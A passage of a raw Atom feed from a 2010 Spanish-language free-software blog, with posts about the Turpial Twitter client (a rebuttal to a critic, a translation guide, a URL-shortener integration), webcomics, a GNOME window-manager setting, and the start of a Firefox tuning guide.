scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic: Los FUUU de la vida (I)</title><content type='html'>&lt;div style="text-align: justify;"&gt;Con éste webcomic quiero inaugurar un espacio muy querido y vivido por todos nosotros... Los FUUUU de la vida. He aquí la primera entrega. Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Clic en la imagen para agrandar&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/TDjAIWz_XlI/AAAAAAAAAXw/FbLophtrdyU/s1600/10+-+Los+fuuu+de+la+vida+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="110" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/TDjAIWz_XlI/AAAAAAAAAXw/FbLophtrdyU/s320/10+-+Los+fuuu+de+la+vida+1.png" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size: 85%;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1699228817672846069?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1699228817672846069/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1699228817672846069&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1699228817672846069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1699228817672846069'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/07/webcomic-los-fuuu-de-la-vida-i.html' title='Webcomic: Los FUUU de la vida (I)'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/TDjAIWz_XlI/AAAAAAAAAXw/FbLophtrdyU/s72-c/10+-+Los+fuuu+de+la+vida+1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7093302699079845350</id><published>2010-06-02T20:37:00.000-07:00</published><updated>2010-06-02T20:37:25.713-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><title type='text'>Respuesta a críticas destructivas sobre Turpial</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Me considero una persona tolerante y abierta a las críticas y sugerencias. No hay cosa que me guste más que el feedback de las personas sobre las cosas que hago y más aún sobre Turpial. Sin embargo cosa que no tolero es la mediocridad.&lt;br /&gt;&lt;br /&gt;He decidido crear este post para colocar la respuesta que le he dado a @MichelEnLaRed respecto a algunos comentarios que me ha hecho por Twitter sobre Turpial, que en lugar de contribuir al desarrollo del proyecto empañan todo el esfuerzo que duramente se viene haciendo. No pretendo agregar nada a la respuesta que le dí por Twitter, solo la pegaré aquí para unificarla y permitir su mejor lectura.&lt;br /&gt;&lt;br /&gt;El comentario que derramó la gota fue el siguiente (sí, hubo 3 o 4 comentarios previos en el mismo tono que dejé pasar por consideración y tolerancia):&lt;br /&gt;&lt;br /&gt;&lt;div align='center'&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/TAcjCLfCpSI/AAAAAAAAAW4/Tw2KhgRKw0U/s1600/comentario.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/TAcjCLfCpSI/AAAAAAAAAW4/Tw2KhgRKw0U/s320/comentario.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Mi respuesta fue:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;No había querido responder tus comentarios porque no tenía nada bueno que decirte, pero ya que insistes me tomaré la molestia.&lt;br /&gt;&lt;br /&gt;1.- No sé de dónde sacas información para formar juicios de valor sobre mi incapacidad para solventar el cuelgue de Turpial, no estás suscrito a la lista de desarrollo, no te conectas al canal IRC, ni siquiera te veo involucrado como colaborador. Para tu información actualmente estoy usando la API nueva que he diseñado para resolver los problemas de Turpial, pero&lt;br /&gt;está en estado experimental. En el desarrollo de software primero se prueban las cosas antes de lanzarlas al público, son controles de calidad y pruebas q debe pasar la aplicación antes de que pueda ser "usada" por el público en general. Pero veo que no conoces mucho al respecto y por eso lanzas esa sarta de comentarios estériles que en lugar de contribuir desmeritan el fuerte trabajo que he estado haciendo estos últimos días para que ustedes puedan disfrutar de un buen cliente.&lt;br /&gt;&lt;br /&gt;2.- Soy una persona con un trabajo de verdad y una vida de verdad, nada me gustaría más que poder dedicarle el 100% de mi tiempo al Turpial, pero lamentablemente eso no me da para comer en estos momentos, así que los pocos instantes libres que me quedan al día son los que invierto en desarrollar el Turpial. Considera eso antes de llamar "incapaz" a otra persona.&lt;br /&gt;&lt;br /&gt;3.- Si no te gusta el desempeño de Turpial o te parece que no programo lo suficientemente rápido pues usa otro cliente y ya. Hay centenares de clientes de twitter allí afuera esperando por tí, que no se cuelgan y con programadores realmente "capaces". Turpial es un hobby para mí y la idea es que la comunidad pueda disfrutar, beneficiarse y sentirse a gusto con mi hobby y pues con eso poner en alto el nombre de nuestra patria, hay mucho talento en éste país y debemos sacarle provecho.&lt;br /&gt;&lt;br /&gt;No tienes ningún compromiso para usar Turpial, eres libre de escoger... así como el software, completamente libre. Si realmente deseas apoyar Turpial entonces razona y analiza las cosas antes de decirlas, involucrate y colabora, así funciona el software libre y es uno de los principios básicos del socialismo, unión, comunidad, participación... &lt;br /&gt;&lt;br /&gt;La mejor forma de cambiar las cosas es formando parte de ellas, no necesitas ser programador para ayudar a Turpial, existen muchas cosas por hacer, eres bienvenido siempre y cuando tus ganas sean de trabajar y de hacer las cosas mejor pero no si lo que tienes es ganas de joder, eso se lo dejamos a los mediocres. Puedes empezar leyendo el archivo de la lista de correos http://smlk.es/6JfSkX, y si gustas únete y aporta tus ideas como un ser racional, pensante e inteligente que eres.&lt;br /&gt;&lt;br /&gt;Saludos y gracias por el apoyo&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Me disculpo de antemano si hiero algunas susceptibilidades pero las cosas son como son. Las críticas, cuando son constructivas, vienen acompañadas de un planteamiento o una solución.&lt;br /&gt;&lt;br /&gt;Mis 2 lochas&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7093302699079845350?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7093302699079845350/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7093302699079845350&amp;isPopup=true' title='34 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7093302699079845350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7093302699079845350'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/06/respuesta-criticas-destructivas-sobre.html' title='Respuesta a críticas destructivas sobre Turpial'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/TAcjCLfCpSI/AAAAAAAAAW4/Tw2KhgRKw0U/s72-c/comentario.png' height='72' width='72'/><thr:total>34</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7756160752613596905</id><published>2010-04-11T20:44:00.000-07:00</published><updated>2010-04-11T20:45:53.806-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><category scheme='http://www.blogger.com/atom/ns#' term='Otros'/><title type='text'>Turpial, KumbiaPHP y SigueMiLink trabajando juntos</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hace unos días mi buen amigo Deivinson Tejeda (desarrollador del framework &lt;a href="http://www.kumbiaphp.com"&gt;KumbiaPHP&lt;/a&gt;) me comentó sobre un nuevo acortador de URLs hecho en España llamado &lt;a href="http://smlk.es"&gt;SigueMiLink&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Se preguntarán: ¿Bueno y cuál es la gracia del asunto? Pues lo interesante del asunto es que:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;El acortador de URLs SigueMiLink está hecho en KumbiaPHP&lt;/li&gt;&lt;li&gt;Los creadores de SigueMiLink le plantearon a Deivinson la posibilidad de incluirlo en Turpial&lt;/li&gt;&lt;li&gt;Turpial y KumbiaPHP son como proyectos hermanos :) (ambos son Venezolanos)&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Al parecer todo se confabuló para crear un círculo de apoyo entre los 3 proyectos y así fue. Ahora me complace anunciar que Turpial soporta a SigueMiLink como nuevo servicio acortador de URLs y que tanto los amigos de SigueMiLink como los de KumbiaPHP apoyan fuertemente a Turpial.&lt;br /&gt;&lt;br /&gt;Ojalá se puedan repetir más situaciones como ésta, en la que varios proyectos pueden colaborar entre sí por un fin común... La libertad del software :D&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7756160752613596905?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7756160752613596905/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7756160752613596905&amp;isPopup=true' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7756160752613596905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7756160752613596905'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/04/turpial-kumbiaphp-y-siguemilink.html' title='Turpial, KumbiaPHP y SigueMiLink trabajando juntos'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-9204555773470073508</id><published>2010-04-05T19:10:00.000-07:00</published><updated>2010-04-05T19:10:21.803-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic: Unfollow</title><content type='html'>&lt;div style="text-align: justify;"&gt;Un webcomic para liberar un poco el estrés de la programación... ¡Que lo disfruten! :)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Clic en la imagen para agrandar&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/S7qXwO5oleI/AAAAAAAAAVg/lG17_d6hEuQ/s1600/09+-+Unfollow.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="160" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/S7qXwO5oleI/AAAAAAAAAVg/lG17_d6hEuQ/s320/09+-+Unfollow.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-size: 85%;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-9204555773470073508?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/9204555773470073508/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=9204555773470073508&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/9204555773470073508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/9204555773470073508'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/04/webcomic-unfollow.html' title='Webcomic: Unfollow'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/S7qXwO5oleI/AAAAAAAAAVg/lG17_d6hEuQ/s72-c/09+-+Unfollow.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-2496968798639761789</id><published>2010-03-23T18:15:00.000-07:00</published><updated>2010-03-23T18:20:11.585-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Turpial'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Turpial ahora con soporte para idiomas / Turpial now with support for languages</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;h2&gt;&lt;u&gt;Español&lt;/u&gt;&lt;/h2&gt;Turpial, el cliente Twitter con sabor Venezolano ahora tiene soporte para idiomas. Actualmente está disponible en inglés y español, pero con ésta sencilla guía puedes animarte a traducirlo a cualquier otro idioma. Es muy simple y no necesitas saber nada de programación xD&lt;br /&gt;&lt;br /&gt;Aquí vamos:&lt;br /&gt;1.- Descarga la plantilla &lt;b&gt;template.pot&lt;/b&gt; para las traducciones de &lt;a href="http://github.com/downloads/satanas/Turpial/template.pot"&gt;aquí&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.- Abre el archivo con tu editor de texto favorito y llena el encabezado del archivo con tus datos (nombre, correo e idioma de la traducción)&lt;br /&gt;&lt;br /&gt;3.- Comienza la traducción. El texto que aparece seguido de &lt;b&gt;msgid&lt;/b&gt; debes traducirlo y colocarlo en la línea inferior, justo después de &lt;b&gt;msgstr&lt;/b&gt;. Mira la imagen si tienes dudas:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/S6ljaYjLLRI/AAAAAAAAAVQ/tPw_Oui3kVQ/s1600-h/traduccion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S6ljaYjLLRI/AAAAAAAAAVQ/tPw_Oui3kVQ/s320/traduccion.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;4.- Envía la traducción a cualquier miembro del equipo: wil.alejandro, meza.eleazar, kstnshadows o milmazz, todos en gmail punto com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Recuerda lo siguiente:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El texto traducido no puede contener errores ortográficos&lt;/li&gt;&lt;li&gt;El archivo template.pot debes abrirlo con un editor de texto plano&lt;/li&gt;&lt;li&gt;No debes traducir el texto que está en inglés, siempre la traducción va en la línea de abajo y manteniendo las comillas&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Eso es todo lo que debes hacer. Anímate y colabora con el proyecto :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;&lt;u&gt;English&lt;/u&gt;&lt;/h2&gt;Turpial, the Twitter client with Venezuelan taste now got support for languages. Actually are available english and spanish, but with this easy guide you can try to translate it to any other language. Is really easy and you don't need to know anything about programming xD&lt;br /&gt;&lt;br /&gt;Here we go...&lt;br /&gt;1.- Download the file &lt;b&gt;template.pot&lt;/b&gt; for translations &lt;a href="http://github.com/downloads/satanas/Turpial/template.pot"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.- Open the file with your favorite text editor and fill the header with your information (name, mail and language of translation)&lt;br /&gt;&lt;br /&gt;3.- Start the translation. The text that appears followed by &lt;b&gt;msgid&lt;/b&gt; must be translated and put in the line below, just after &lt;b&gt;msgstr&lt;/b&gt;. Look at the image if you're doubtful:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/S6ljriJiBnI/AAAAAAAAAVY/DES8SpyqCu8/s1600-h/translate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S6ljriJiBnI/AAAAAAAAAVY/DES8SpyqCu8/s320/translate.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;4.- Send the translation to any of the team members: wil.alejandro, meza.eleazar, kstnshadows o milmazz, all in gmail dot com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remember this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The translated text can't contain orthographic errors&lt;/li&gt;&lt;li&gt;template.pot file must be opened with a plain text editor&lt;/li&gt;&lt;li&gt;You don't have to translate the text in English, the translation always goes in the line below and maintaining the quotation marks&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;That's all you need to do. Come on and collaborates with the project :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-2496968798639761789?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/2496968798639761789/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=2496968798639761789&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2496968798639761789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/2496968798639761789'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/03/turpial-ahora-con-soporte-para-idiomas.html' title='Turpial ahora con soporte para idiomas / Turpial now with support for languages'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/S6ljaYjLLRI/AAAAAAAAAVQ/tPw_Oui3kVQ/s72-c/traduccion.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-648423476895177016</id><published>2010-03-13T19:55:00.000-08:00</published><updated>2010-03-13T19:55:10.290-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic: Maldito Calor</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;Estos serán los cuentos que le echaremos a nuestros nietos xD&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Clic en la imagen para agrandar &lt;br/&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/S5xduYm-olI/AAAAAAAAAVI/AGkio0Y5J0Q/s1600-h/08+-+Maldito+Calor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/S5xduYm-olI/AAAAAAAAAVI/AGkio0Y5J0Q/s200/08+-+Maldito+Calor.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-648423476895177016?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/648423476895177016/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=648423476895177016&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/648423476895177016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/648423476895177016'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/03/webcomic-maldito-calor.html' title='Webcomic: Maldito Calor'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/S5xduYm-olI/AAAAAAAAAVI/AGkio0Y5J0Q/s72-c/08+-+Maldito+Calor.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7553402927817107119</id><published>2010-03-08T16:21:00.000-08:00</published><updated>2010-03-08T16:21:47.496-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Otros'/><title type='text'>Mucho Software Libre en un solo sitio: Planeta Linux</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/S5WN4B2tXVI/AAAAAAAAAVA/mikeSic6tIo/s1600-h/pl2_200x200.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/S5WN4B2tXVI/AAAAAAAAAVA/mikeSic6tIo/s320/pl2_200x200.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://planetalinux.org/ve/index.html"&gt;Planeta Linux&lt;/a&gt; es una comunidad de usuarios, desarrolladores y activistas iberoamericanos de Software Libre en donde cada miembro cuenta el día a día del Software Libre a través de su blog. Gracias a toda la gente que hace vida en este Planeta y comparte sus experiencias con el resto de nosotros, podemos enterarnos de lo que pasa en el mundo del Software Libre, de primera mano y más fresco que el pan de cada día.&lt;br /&gt;&lt;br /&gt;Por mi parte felicito a todo el equipo responsable de ésta excelente iniciativa e invito a todos los que siguen mi blog a que hagan lo propio con Planeta Linux, no se arrepentirán. Excelentes publicaciones, noticias interesantísimas, puro Software Libre... ¡no tiene desperdicio! &lt;br /&gt;&lt;br /&gt;Desde hace unos días éste humilde blog pasa a formar parte de la gran lista de blogs que conforman Planeta Linux, así que no sigas leyendo más esto y anímate a formar parte de la comunidad xD&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7553402927817107119?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7553402927817107119/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7553402927817107119&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7553402927817107119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7553402927817107119'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/03/mucho-software-libre-en-un-solo-sitio.html' title='Mucho Software Libre en un solo sitio: Planeta Linux'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/S5WN4B2tXVI/AAAAAAAAAVA/mikeSic6tIo/s72-c/pl2_200x200.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3276042063610108407</id><published>2010-03-08T15:28:00.000-08:00</published><updated>2010-03-08T15:28:55.912-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Escritorios'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Gestor de ventanas por defecto en GNOME 2.28</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hace algún tiempo publiqué &lt;a href="http://damncorner.blogspot.com/2009/03/gestor-de-ventanas-por-defecto-en-gnome.html"&gt;cómo configurar el gestor de ventanas por defecto en GNOME&lt;/a&gt;. Esa receta fue probada con éxito en el GNOME de ese entonces (si mal no recuerdo era algo como 2.22 o 2.24) pero al intentar usarla en mi nuevo GNOME 2.28, simplemente no funcionó.&lt;br /&gt;&lt;br /&gt;La cuestión es que ahora el GNOME ignora la variable de entorno WINDOW_MANAGER y la clave de gconf &lt;b&gt;/desktop/gnome/applications/window_manager&lt;/b&gt;. La nueva forma de configurar el gestor de ventanas por defecto es mediante la clave &lt;b&gt;/desktop/gnome/session/required_components/windowmanager&lt;/b&gt;. Allí simplemente colocamos el comando de nuestro gestor de ventanas preferido (en mi caso compiz) y voilá.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3276042063610108407?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3276042063610108407/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3276042063610108407&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3276042063610108407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3276042063610108407'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/03/gestor-de-ventanas-por-defecto-en-gnome.html' title='Gestor de ventanas por defecto en GNOME 2.28'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1783489544757105460</id><published>2010-02-16T07:04:00.000-08:00</published><updated>2010-02-16T07:11:37.266-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><title type='text'>Firefox casi tan rápido como Google Chrome</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Esta semana estuve formateando mi PC (con Debian obviamente xD) y una de las cosas que más me gusta hacer es poner el sistema a punto. &lt;br /&gt;&lt;br /&gt;Firefox, Firefox, Firefox... necesitaba optimizarlo con urgencia, estaba lento como una marrana y a pesar de que Google Chrome le estaba quitando algo de terreno (porque es rapidísimo), le soy fiel a mi obeso amigo. Decidí entonces investigar y tratar de ponerlo a dieta. Los resultados: &lt;b&gt;¡Excelentes!&lt;/b&gt; Casí tan veloz como Chrome. Acá les dejo la receta.&lt;br /&gt;&lt;br /&gt;Intentaré explicar solo los más resaltantes para no extenderme mucho. Para empezar vamos a la barra de direcciones y escribimos &lt;b&gt;about:config&lt;/b&gt;, luego de aceptar la advertencia editamos las claves que indicaré a continuación. Si la clave no existe, debemos crearla. Podemos ayudarnos con el &lt;b&gt;filtro&lt;/b&gt; para ubicar las claves con mayor rapidez.&lt;br /&gt;&lt;br /&gt;¡Empecemos!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.- Optimizar las conexiones TCP:&lt;/b&gt; Si tienes una conexión banda ancha esto hará que Firefox la aproveche para mejorar su rendimiento al momento de cargar las páginas.&lt;br 